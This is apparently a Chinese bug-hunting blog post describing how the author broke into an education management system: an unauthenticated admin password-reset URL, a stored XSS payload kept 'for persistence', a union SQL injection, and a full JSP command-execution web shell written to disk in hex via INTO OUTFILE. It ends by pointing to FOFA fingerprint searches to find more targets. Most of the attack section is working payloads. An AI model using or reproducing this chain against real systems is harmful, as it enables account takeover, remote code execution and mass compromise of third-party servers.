[老树新花]从未授权到GetShell
未授权访问
前几天晚上有空的时候想看看别人EduSrc的挖掘思路,谷歌大法搜索了一下,找到了一篇讲通用密码重置漏洞的文章,同时由于其原博主的灵魂打码,让我通过谷歌搜索成功找到了这个系统。
原来的漏洞是重置密码时校验码默认为admin,经过测试后实际上此处存在一个未授权修改密码,直接访问网址(以下均进行脱敏处理)
xxxx/updatePasswd?username=admin,1
就进入了修改管理员密码的界面
本着来都来了的精神,修改密码登录一气呵成
登陆之
XSS漏洞
这种后台一般会有很多XSS,随便找个点尝试一发助助兴,方便管理员后期修补漏洞后的权限维持,那就课程管理处的新增 ->
输入最基础的<script>alert(1)</script>
提交之后搜索新增的课程代码0000001
(PS:这里重复是因为之前先尝试了一次)
成功弹窗,right!
但是这并不是我们想要的,后台XSS说实话有点鸡肋,想找一个隐蔽点的未授权或者SQL注入
继续闲逛....
疑似任意文件下载
发现一个数据导出点,抓包分析一下下载路径,看看是否存在任意文件下载
下载路径为绝对路径,感觉有戏
(此处度过两小时....)
测试很久之后还是不能下载,试了很多绕过的方法还是莫法,只能先把下载的绝对路径保存下来,呜呜呜呜.....
柳暗花明
在继续寻找中发现GET的传参点:
action?Id=aa&wid=2
尝试一发注入(其实最开始的那个案例是可以布尔注入的,后面这个案例不知道咋的有点问题)发现存在联合注入,真罕见
action?Id=aa&wid=2' and '1'='2' union select database()--+
获得数据库名
JSP一句话写SHELL
带上之前的绝对路径写shell
原JSP一句话为:
<% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");%>
原文写进去总是要报错,就进行了十六进制编码
0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e
into outfile绝对路径写shell
action?Id=aa&wid=2' union select 0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e into outfile 'D://xxxxx/spring10.jsp' --+
执行whoami
成功getshell
批量检测
编写一个简单的批量检测脚本(凑合看吧hhh
FOFA再按照系统指纹搜索一下即可
搞定收工orz
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃